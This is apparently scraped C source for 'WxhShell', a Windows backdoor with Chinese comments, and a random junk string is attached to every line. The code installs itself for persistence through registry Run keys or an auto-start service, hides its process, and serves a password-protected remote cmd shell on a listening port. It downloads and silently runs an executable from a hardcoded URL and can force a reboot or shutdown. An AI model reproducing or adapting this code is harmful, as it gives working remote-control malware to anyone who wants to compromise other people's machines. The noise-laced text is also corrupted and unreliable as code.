if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) sAU!u
WinExec(wscfg.ws_filenam,SW_HIDE); ;b1*2-
} !8i[.EAT
Ax;i;<md
if(!OsIsNt) { -_|U"C$
// 如果时win9x，隐藏进程并且设置为注册表启动 i\u m;\
HideProc(); h4dT N}
StartWxhshell(lpCmdLine); k'$UA$2d
} =M+enSu
else )'gO?cN
if(StartFromService()) QO%#.s
// 以服务方式启动 ~Uw<E:?v
StartServiceCtrlDispatcher(DispatchTable); ~$3X>?Q
else V$XCe
// 普通方式启动 4{oS(Vl!
StartWxhshell(lpCmdLine); Yy:Q/zwo
%o9;jX
return 0; /SDDCZ`;|c
} XT 'v7
MX{p)(HW
.V:H~
$x%VUms
=========================================== XQ]5W(EP
LxC"j1wfl
!F&Ss|(}
Ohmi(s
nXuoRZ
2m/=0sb\{
" 'v*Y7zZ#K
.U:DuyT
#include <stdio.h> [J.-gN$X@
#include <string.h> zS##YR
#include <windows.h> +WP
#include <winsock2.h> m!-,K8
#include <winsvc.h> H7"m/Bia
#include <urlmon.h> <_"^eF+fZ
E1e#E3Yq}s
#pragma comment (lib, "Ws2_32.lib") " %)zTH
#pragma comment (lib, "urlmon.lib") :7+E fu
$'2yPoR
#define MAX_USER 100 // 最大客户端连接数 p;VHg
#define BUF_SOCK 200 // sock buffer L3g}Z1<!$
#define KEY_BUFF 255 // 输入 buffer s!d"(K9E
4d*=gy%
#define REBOOT 0 // 重启 H/Fq'FsQB
#define SHUTDOWN 1 // 关机 !@x'?+
#D-L>7,jA
#define DEF_PORT 5000 // 监听端口 qs]7S^yw
$`&uu
#define REG_LEN 16 // 注册表键长度 }.UE<>OX
#define SVC_LEN 80 // NT服务名长度 _XqD3?yH4
)Ekp <2B:0
// 从dll定义API AW+q#Is
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +EWfsKz
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); aT %A<'O!
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); loLN ~6
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); L[Dr[
FM3DJ?\L-
// wxhshell配置信息 J c~{ E
struct WSCFG { W1 qE,%cx
int ws_port; // 监听端口 ;*Cu >f7
char ws_passstr[REG_LEN]; // 口令 0{PRv./`
int ws_autoins; // 安装标记, 1=yes 0=no p/a)vN+*x'
char ws_regname[REG_LEN]; // 注册表键名 B>CG/]
char ws_svcname[REG_LEN]; // 服务名 <d\Lvo[
char ws_svcdisp[SVC_LEN]; // 服务显示名 9)a:8/Y
char ws_svcdesc[SVC_LEN]; // 服务描述信息 /k(KA [bS
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "c6(=FFq
int ws_downexe; // 下载执行标记, 1=yes 0=no OBY
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q( C\X
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 prC1<rm
xCOC5f5*@
}; CR-6}T
QJaF6>m
// default Wxhshell configuration V+mTo^
struct WSCFG wscfg={DEF_PORT, JZ5NQ)sX
"xuhuanlingzhe", "@JSF
1, X~O2!F
"Wxhshell", hYS*J908
"Wxhshell", SV4a_m?
"WxhShell Service", 2U-F}Z
"Wrsky Windows CmdShell Service", 4$+9Wv
"Please Input Your Password: ", TqM(I[J7\
1, YJlpP0;++
"http://www.wrsky.com/wxhshell.exe", HY,+;tf2r
"Wxhshell.exe" 2sJj -3J
}; s.E}xv
tkFGGc}w\
// 消息定义模块 N|v3a>;*l
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; p=Nord
char *msg_ws_prompt="\n\r? for help\n\r#>"; 3%<Uq%pJ
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; H*DWDJxmV
char *msg_ws_ext="\n\rExit."; idLysxN
char *msg_ws_end="\n\rQuit."; rRN7HL+b
char *msg_ws_boot="\n\rReboot..."; f#RI&I\
char *msg_ws_poff="\n\rShutdown..."; S+Aq0B<
char *msg_ws_down="\n\rSave to "; Kp+Lk
qV%t[>
char *msg_ws_err="\n\rErr!"; zW`$T88~
char *msg_ws_ok="\n\rOK!"; +UxhSFU
&R54?u^A
char ExeFile[MAX_PATH]; }U=|{@%
int nUser = 0; YlW~
HANDLE handles[MAX_USER]; oJ cR)H
int OsIsNt; X]J]7\4tF\
`.f {V
SERVICE_STATUS serviceStatus; "5]Fl8c?
SERVICE_STATUS_HANDLE hServiceStatusHandle; }s_'q~R
K|-?1)Um
// 函数声明 =qY!<DB[L
int Install(void); ?=:wIMV
int Uninstall(void); SMr ]Gf.
int DownloadFile(char *sURL, SOCKET wsh); -9XB.)\#
int Boot(int flag); ,~ D_T
void HideProc(void); pKf]&?FX
int GetOsVer(void); [C PgfVz
int Wxhshell(SOCKET wsl); &UhI1mi]h
void TalkWithClient(void *cs); )$#]h]ac
int CmdShell(SOCKET sock); M+<xX)
int StartFromService(void); Y<U"}}
int StartWxhshell(LPSTR lpCmdLine); >E;-asD
C WJGr:}&
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )J?Nfi%
VOID WINAPI NTServiceHandler( DWORD fdwControl ); s? /#8 `
`6KTQk'
// 数据结构和表定义 C9-IJj
SERVICE_TABLE_ENTRY DispatchTable[] = ?*i qg[:
{ I#0WN
{wscfg.ws_svcname, NTServiceMain}, FgILQ"+
{NULL, NULL} K1rF;7Y6
}; \\80c65-
jseyT#2
// 自我安装 c+PT"/3
int Install(void) D8a[zXWnc
{ ]I9Hbw
char svExeFile[MAX_PATH]; )3_I-Ia
HKEY key; ze!S4&B
strcpy(svExeFile,ExeFile); h+e Oe}
r<]Db&k
// 如果是win9x系统，修改注册表设为自启动 uJz<:/rwZ-
if(!OsIsNt) { ueO&%
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BJI}gm2y
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G% wVQ|1
RegCloseKey(key); acuch
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { O>)<w Ms`
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6Z~u2&
RegCloseKey(key); cE}R7,y
return 0; H"|xG;cf
} G}aw{Vbg_
} p[BF4h{E
} v?zA86d_
else { ^06f\7A
3F'{JP
// 如果是NT以上系统，安装为系统服务 a!MhxM5
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KlMrM% ;y
if (schSCManager!=0) #3@ Du(_n
{ jU2Dpxkt
SC_HANDLE schService = CreateService ;SAurG$
( ,1'9l)zP
schSCManager, Qmxe*@{`
wscfg.ws_svcname, I`"8}d@Jm
wscfg.ws_svcdisp, D>9~JHB
SERVICE_ALL_ACCESS, kCkSu-
SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5urM,1SQ@
SERVICE_AUTO_START, wjk-$p
SERVICE_ERROR_NORMAL, sS5 ]d8
svExeFile, Rk2V[R.`S
NULL, Xg:w;#r,
NULL, *<k8H5z8]
NULL, 1{N73]-M:
NULL, `YTagUq7
NULL 70NQ9*AAy
); ~[|&)}q
if (schService!=0) Zw+VcZz3
{ jR-`ee}y2
CloseServiceHandle(schService); sBP.P7u
CloseServiceHandle(schSCManager); ok;Yxp>
strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); u"IYAyzL
strcat(svExeFile,wscfg.ws_svcname); j.Ro(0%
if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { %VG;vW\V
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d (Ufj|;
RegCloseKey(key); 85; BS'
return 0; ' uvTOgP,
} Rd6? ,
} J2cqnwUV
CloseServiceHandle(schSCManager); Wz)O,X^
} 0yW#).D^b
} n:JWu0,h
cW B>
return 1; $0WO 4C%M
} 68ce+|
f8`K8Y]4
// 自我卸载 ,at"Q$)T
int Uninstall(void) n< UuVu
{ 5wM*(H^c[
HKEY key; juQ&v>9W)
IC&xL9
if(!OsIsNt) { <p"[jC2zF;
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /]H6'
RegDeleteValue(key,wscfg.ws_regname); hwF9LD~^
RegCloseKey(key); UhuEE
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b%`^KEvwfo
RegDeleteValue(key,wscfg.ws_regname); UM$\{$
RegCloseKey(key); pvL)BD
return 0; )N[9r{3
} ]v=*WK
} X._skq
} FqQqjA
else { ([~9v@+
E(DNK
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~hi\*W6jg
if (schSCManager!=0) S9~X#tpKe
{ 5WN^8`{'3
SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); yZup4#>8
if (schService!=0) r[xj,eIb
{ '<N^u@tF7
if(DeleteService(schService)!=0) { 4W7
CloseServiceHandle(schService); ~`'!nzP5H
CloseServiceHandle(schSCManager); `.3!
return 0; kO:|?}Koc
} d-e6hI4b
CloseServiceHandle(schService); FEqs4<}E
} VC%{qal;q
CloseServiceHandle(schSCManager); {)j~5m.,/o
} R`}C/'Ty
} 7_Yxz$m
@c&}\#;
return 1; }SL&Y`Y]
} W[trsFP1?
+"8 [E~Bih
// 从指定url下载文件 USgZ%xk2
int DownloadFile(char *sURL, SOCKET wsh) up+W[#+
{ v+a$Xh3Y~
HRESULT hr; u{#}Lo>B #
char seps[]= "/"; e>yPFXSk
char *token; Y~ j.Kt
char *file; (Fc\*Vn
char myURL[MAX_PATH]; 2$=U#!OtU
char myFILE[MAX_PATH]; \Fd6Q_
NfG<!
strcpy(myURL,sURL); B/"TaXVU
token=strtok(myURL,seps); YbaaX{7^
while(token!=NULL) >*jcXao^
{ l-;u*JA
file=token; eqvbDva^
token=strtok(NULL,seps); 8MIn~
} T: zO9C/
WXJEAje
GetCurrentDirectory(MAX_PATH,myFILE); Lhg4fuos@)
strcat(myFILE, "\\"); ckR>ps[u
strcat(myFILE, file); L$R"?O7
send(wsh,myFILE,strlen(myFILE),0); { +d](+$
send(wsh,"...",3,0); +NIq}fZn9
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); cd_\?7
if(hr==S_OK) JbT+w\o
return 0; #2*l"3.$.R
else P2HR4`c
return 1; CPJ8G}4
a7?z{ssEi
} b1rW0}A
tC;LA 4
// 系统电源模块 sb8%!>C
int Boot(int flag) f3,qDbQyJ
{ ]=X6* E*/E
HANDLE hToken; xBba&A]=
TOKEN_PRIVILEGES tkp; _+c' z
gcS?r :
if(OsIsNt) { i.QS(gM
OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); N=Q<mj;,
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 9f UD68Nob
tkp.PrivilegeCount = 1; b02V#m;Z
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; D~~"wos
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ck`-<)uN
if(flag==REBOOT) { E}^np[u7
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) w;;yw3
return 0; <x&0a$I
} ie<zc+*rW
else { tX'`4!{@+
if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qp#Is{=m
return 0; 36]pE<
} Ej_>*^b
} G6W_)YL
else { }s+ t*z
if(flag==REBOOT) { ibzcO,c
if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y]3`U UvXD
return 0; _H{6{!=y
} /-J
else { .>QzM>zO
if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) U-F\3a;&
return 0; y!z2+q2
} { XI0KiE
} Lzr&Q(mL
F~bDA~
return 1; v,T:V#f^
} dh9Qo4-{
?<F=*eS
// win9x进程隐藏模块 .[8! E_
void HideProc(void) /,C;fT<R
{ {oXU)9vj
3(2WO^zX {
HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); I |PEC-(
if ( hKernel != NULL ) vR"?XqgZ
{ $7bLw)7
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @euH[<
( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %fbV\@jDCX
FreeLibrary(hKernel); <K g=?wb
} <v=$A]K
vl`Qz"Xy
return; 9f(0 qa
} DB~3(r?K
+N6IdDN3
// 获取操作系统版本 `}r)0,Z}3
int GetOsVer(void) xL&evG#
{ LiG!xs
OSVERSIONINFO winfo; pwF+ZNo
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^_4e^D]P"
GetVersionEx(&winfo); /EIQMZuYp
if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ob~7w[n3
return 1; ]QU 9|1
else saRYd{%+
return 0; C33BP}c]
} hQeGr2gMq
xNrPj8V<Y
// 客户端句柄模块 /M :7
int Wxhshell(SOCKET wsl) qw?Wi%t(x8
{ uI9eUO
SOCKET wsh; `e`}dgf0S|
struct sockaddr_in client; D%`O.2T Y|
DWORD myID; !1b}M/Wx
Ir\P[A
while(nUser<MAX_USER) X!b+Dk
{ 0dTHF})m
int nSize=sizeof(client); qix$ }(P
wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lGlh/B%
if(wsh==INVALID_SOCKET) return 1; qnu<"$
/IxoS
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L[s`8u<_)z
if(handles[nUser]==0) XnwVK
closesocket(wsh); E"O6N.}.
else AZ9;6Df
nUser++; CL|d>
} @~z4GTF9i
WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +P &S0/
oSf6J:?*e
return 0; 7z2Q!0Sz
} 5gq
k/Z]zZC
// 关闭 socket NR>&1aRbyb
void CloseIt(SOCKET wsh) SeV`RUO
{ 8aqH;|fG}
closesocket(wsh); K/YXLR +
nUser--; +C}s"qrb@
ExitThread(0); e**<et.
} }PXtwp13&u
*@VS^JB
// 客户端请求句柄 $$ 9!4
void TalkWithClient(void *cs) zv-9z
{ *|9:
tCR#TW+IY-
SOCKET wsh=(SOCKET)cs; 4wkmgS
char pwd[SVC_LEN]; !X5LgMw^;
char cmd[KEY_BUFF]; 1`sTGNo
char chr[1]; w)XnMyD(P
int i,j; e#AmtheZR
cCx_tGR"
while (nUser < MAX_USER) { o(gV;>I
1)H;}%[
if(wscfg.ws_passstr) { k|^YYi=xF
if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K0{ ,*>C
//send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); pkE4"M!3=
//ZeroMemory(pwd,KEY_BUFF); <74r
i=0; S-[S?&c`
while(i<SVC_LEN) { ,_UTeW6M
>qU5(M_&L
// 设置超时 l[6lXR&|
fd_set FdRead; <c&Nm_)
struct timeval TimeOut; O9*l6^Scw
FD_ZERO(&FdRead); Y6`^E
FD_SET(wsh,&FdRead); P9o=G=i
TimeOut.tv_sec=8; :CsrcT=
TimeOut.tv_usec=0; pupt__NZ)n
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [7\x(W-:@>
if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xC9?Wt'
]m :Y|,:6
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q0%s|8Jc
pwd=chr[0]; I uC7Hx`z
if(chr[0]==0xd || chr[0]==0xa) { &a+=@Z)kf
pwd=0; < w;490g
break; h2y<vO
} 3*E] :l_
i++; *LEI@
} [ut[W9
6lL^/$]
// 如果是非法用户，关闭 socket B%WkM\\!^
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); >uxAti\
} h!7Lvh`o
.;)V;!
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oS~;>]W
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fd#Zu.Np
Ab8Ke|fA
while(1) { ZA\;9M=
3pe1"maP
ZeroMemory(cmd,KEY_BUFF); M}$Td_g
&@${@
// 自动支持客户端 telnet标准 ;?v&=Z't.
j=0; x->+wJm@s
while(j<KEY_BUFF) { V@nZ_.
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [@2$W?0i
cmd[j]=chr[0]; }lP`3e
if(chr[0]==0xa || chr[0]==0xd) { 2|&SG3e+(I
cmd[j]=0; !R![:T\,
break; +i[vJRLxl~
} i]Bu7Fuu
j++; AwZz}J+
} C#B|^A_
ornU8H`
// 下载文件 NieNfurG%
if(strstr(cmd,"http://")) { mNsd&Rk'
send(wsh,msg_ws_down,strlen(msg_ws_down),0); agq4Zy
if(DownloadFile(cmd,wsh)) B=%x#em
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /6Kx249Dw
else =ui3I_*)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7GCxd#DJ
} v3G$9(NE;
else { >hzSd@J&
Qkw?QV-`k
switch(cmd[0]) { 0\,!
>WLHw!I!6
// 帮助 fe8hgTP|
case '?': { 2qQ;U?:q
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M%g2UP
break; oArXP\#
} $R+rB;=a!
// 安装 SE(c_ sX
case 'i': { 4$81ilBcL
if(Install()) :98:U~d1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Kw?
else +N'&6z0Wf
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z:^ S-h
break; 4dm0:, G
} ~,Yd.?.TI
// 卸载 IfT: 9 &
case 'r': { /x4L,UJ= P
if(Uninstall()) p 16+(m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +DO<M1uE
else LXZI|K[}k
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0g~Cdp
break; 3E0C$vKM
} Z{/GT7 /
// 显示 wxhshell 所在路径 rU(-R@["
case 'p': { l%p,m[
char svExeFile[MAX_PATH]; m77!i>V)
strcpy(svExeFile,"\n\r"); G:@1.H`
strcat(svExeFile,ExeFile); m#-&<=
send(wsh,svExeFile,strlen(svExeFile),0); ddbQFAQQQ
break; c]i;0j? Dl
} IkG;j+=
// 重启 Vol}wc
case 'b': { ,`YIcrya:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Z$B%V t
if(Boot(REBOOT)) Ypxp4B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); gdg``U;)p
else { oX'@,(6)
closesocket(wsh); nyxoa/
ExitThread(0); i29a1nD4Hm
} 9p1@Lfbj
break; >&k`NXS|V
} B79~-,Yh
// 关机 KXpbee
case 'd': { o,S(;6pDJ
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %$'fq*8b
if(Boot(SHUTDOWN)) 0F.S[!I
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eKo=g|D
else { ;lSsy
closesocket(wsh); L)1\=[Ov
ExitThread(0); `C$QR 8
} YK5(oKFN
break; [=tIgMmz
} {[hgSVN;
// 获取shell \Lg4Cx
case 's': { rO YD[+
CmdShell(wsh); (_6JQn
closesocket(wsh); #k[Y(_
ExitThread(0); yk(r R
break; iXWB
} Ix<!0! vk
// 退出 UoUQ6Ij
case 'x': { TtH!5{$s
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); #sk~L21A
CloseIt(wsh); 0Wc_m;
break; 2m} bddS
} e,Y<$kPV
// 离开 cV_-Bcb
case 'q': { h%NM%;"H/
send(wsh,msg_ws_end,strlen(msg_ws_end),0); "@|rU4Y
closesocket(wsh); t;-F]
WSACleanup(); X[f)0w%
exit(1); c-!3wvt)
break; )4.-6F7U?
} ^FVmP d*1
} N2Ysi$
} MJCz %zK
ZLdIEBi=
// 提示信息 uu"hu||0_
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); k@h0 }%
} #K/JU{"
} y~wr4Q=
JG7K-W|!c
return; |[>yJXxEL@
} Aon.Y Z
CS5[E-%}T=
// shell模块句柄 -WR<tkK
int CmdShell(SOCKET sock) _OS,zZ0
{ [7g-M/jvY
STARTUPINFO si; FC||6vJth
ZeroMemory(&si,sizeof(si)); N9y+Psh
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W-Vc6cq
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K5t.OAA:
PROCESS_INFORMATION ProcessInfo; E7_OI7C
char cmdline[]="cmd"; Zb|a\z8?
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Mn<s9ITS-
return 0; @`8a3sL)
} ?Zk;NL9
@*- 6DG-f
// 自身启动模式 Li$2 Gpc/
int StartFromService(void) {,Rlq
{ JAI.NKB3
typedef struct 25j\p{*
{ lC,~_Yb
DWORD ExitStatus; !IB}&m
DWORD PebBaseAddress; +Z86Qz_
DWORD AffinityMask; b`,Sd.2=('
DWORD BasePriority; ' I!/I
ULONG UniqueProcessId; t7sEY
ULONG InheritedFromUniqueProcessId; [Fv,`*/sm
} PROCESS_BASIC_INFORMATION; 8.7q -<Q
!^v~hD$_q
PROCNTQSIP NtQueryInformationProcess; z|Yt|W
*[BtW56-
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Yx,7e(AI`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3K/'K[~
='_3qn.
HANDLE hProcess; ~C>Q+tR8
PROCESS_BASIC_INFORMATION pbi; 5J1a8RBR
KaHe(
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); C*B5"s"
if(NULL == hInst ) return 0; *K@O3n
Y6v#0pT
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \Sv|yQUT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %y*'bS
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t)g%9 k^
`PvS+>q
if (!NtQueryInformationProcess) return 0; moh,aB#
Kv<mDA!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Y6d~hLC
if(!hProcess) return 0; oDJ &{N|
! hEZV&y
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nZc6 *jiz
m_BpY9c]5
CloseHandle(hProcess); 7Kb&BF|Q
C8)Paop$
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); W tHJG5
if(hProcess==NULL) return 0; q5@Nd3~h
51H6 W/$
HMODULE hMod; |W@Ko%om
char procName[255]; {?EmO+![}
unsigned long cbNeeded; |$ZS26aYw}
ZM<UiN
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 81(\8#./
>K1e=SY
CloseHandle(hProcess); a|#pl!
p=Leoc1
if(strstr(procName,"services")) return 1; // 以服务启动 4xg1[Z%:
Bss*-K]
return 0; // 注册表启动 oIIi_yc
} /BvMNKb$$
l @@pXg3
// 主模块 ^P/OHuDL
int StartWxhshell(LPSTR lpCmdLine) w}t}Sh
{ mqUDve(
SOCKET wsl; !dcvG9JZ
BOOL val=TRUE; d{@'&?tj
int port=0; b9 li
struct sockaddr_in door; <w8H[y"c
ImH9 F\
if(wscfg.ws_autoins) Install(); 0Q8iX)
g}K/ba'
port=atoi(lpCmdLine); $=^}J6
/h`gQyGuY
if(port<=0) port=wscfg.ws_port; ]n<Ba7Y
~i'!;'-_}
WSADATA data; ="%887e
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; "&^KnWk=
7^UY%t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ;E5XH"L\
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 4e; le&
door.sin_family = AF_INET; _%B,^0;C
door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3DB= Xh
door.sin_port = htons(port); )hoVB
Us2> 5 :\
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R%)F9P$o
closesocket(wsl); Uspv^O9_
return 1; {TMng&
} qs_cC3"=%=
/RxqFpu|.
if(listen(wsl,2) == INVALID_SOCKET) { p|a`Q5z!
closesocket(wsl); I3T;|;P7
return 1; P6ka'!z
} ]~f-8!$$R
Wxhshell(wsl); TeR bW
WSACleanup(); !bnnUCTb\
H!6&'=c{k
return 0; tI#65ox#
2bw.mp&v1
} ;'Z"CbS+
-4F}I3I
// 以NT服务方式启动 T('rM:)/
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) yT7{,Z7t
{ BePb8 k<y
DWORD status = 0; ?@`5^7*
DWORD specificError = 0xfffffff; $*P+
XbFo#Pwk
serviceStatus.dwServiceType = SERVICE_WIN32; @ptrF pSL
serviceStatus.dwCurrentState = SERVICE_START_PENDING; [O!/hppN
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?6x&A t
serviceStatus.dwWin32ExitCode = 0; yGC HWP
serviceStatus.dwServiceSpecificExitCode = 0; (I>SqM Y
serviceStatus.dwCheckPoint = 0; cd=H4:<T5
serviceStatus.dwWaitHint = 0; p?P.BU\CR
m6xbO
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); M\IdQY-c
if (hServiceStatusHandle==0) return; 9:Bn-3)
mRGr+m
status = GetLastError(); EUH9R8)
if (status!=NO_ERROR) i??+5o@uTF
{ EBQ_c@
serviceStatus.dwCurrentState = SERVICE_STOPPED; ,lFzL3'_0x
serviceStatus.dwCheckPoint = 0; H/8u?OC
serviceStatus.dwWaitHint = 0; {`J!DFfur
serviceStatus.dwWin32ExitCode = status; $`t2SD
serviceStatus.dwServiceSpecificExitCode = specificError; ?G]yU
SetServiceStatus(hServiceStatusHandle, &serviceStatus); t0P_$+w.>
return; s`.J!^u`
} WUQa2$.
K!E\v4
serviceStatus.dwCurrentState = SERVICE_RUNNING; $~ d6KFT
serviceStatus.dwCheckPoint = 0; wZ`{ i
serviceStatus.dwWaitHint = 0; $,I@c"m{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J^~J&
} `G*fx=N
G#uB%:)&0u
// 处理NT服务事件，比如：启动、停止 BI!EmA
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?"?AH/ED
{ n}4q2x"
switch(fdwControl) k>!i _lb
{ 6KN6SN$
case SERVICE_CONTROL_STOP: Z*NTF:6c
serviceStatus.dwWin32ExitCode = 0; vJx( lU`Y
serviceStatus.dwCurrentState = SERVICE_STOPPED; [?2?7>D8
serviceStatus.dwCheckPoint = 0; u'Hh||La"
serviceStatus.dwWaitHint = 0; ;vpq0t`
{ W}(T5D" 3x
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7v.O Lp
} 9c{ ~$zJW
return; X>]<rEh
case SERVICE_CONTROL_PAUSE: X?`mYoe
serviceStatus.dwCurrentState = SERVICE_PAUSED; Hbu :HFJ!
break; Q!7mN?l
case SERVICE_CONTROL_CONTINUE: 2) 2:KX
serviceStatus.dwCurrentState = SERVICE_RUNNING; ,t'"3<^Jg
break; yaHkWkl =
case SERVICE_CONTROL_INTERROGATE: ]{ch]m
break; Upg8t'%{op
}; -Wre4^,v
SetServiceStatus(hServiceStatusHandle, &serviceStatus); tejpY
} Dx9k%G)!
`\=~ $&vjC
// 标准应用程序主函数 f&$$*a
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YelF)Na
{ fM*aZc*Y
: 'pK
// 获取操作系统版本 zMO xJ
OsIsNt=GetOsVer(); KT*"Sbh
GetModuleFileName(NULL,ExeFile,MAX_PATH); oj,;9{-
?dCJv_w
// 从命令行安装 9wdX#=I
if(strpbrk(lpCmdLine,"iI")) Install(); GQE7P()
?]TtUoY=)F
// 下载执行文件 G('UF1F
if(wscfg.ws_downexe) { 2B_+5
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C MGDg}
WinExec(wscfg.ws_filenam,SW_HIDE); v.gAi6
} 4#ifm#
v~YGef;D
if(!OsIsNt) { N[yS heT
// 如果时win9x，隐藏进程并且设置为注册表启动 dw| VH1fS
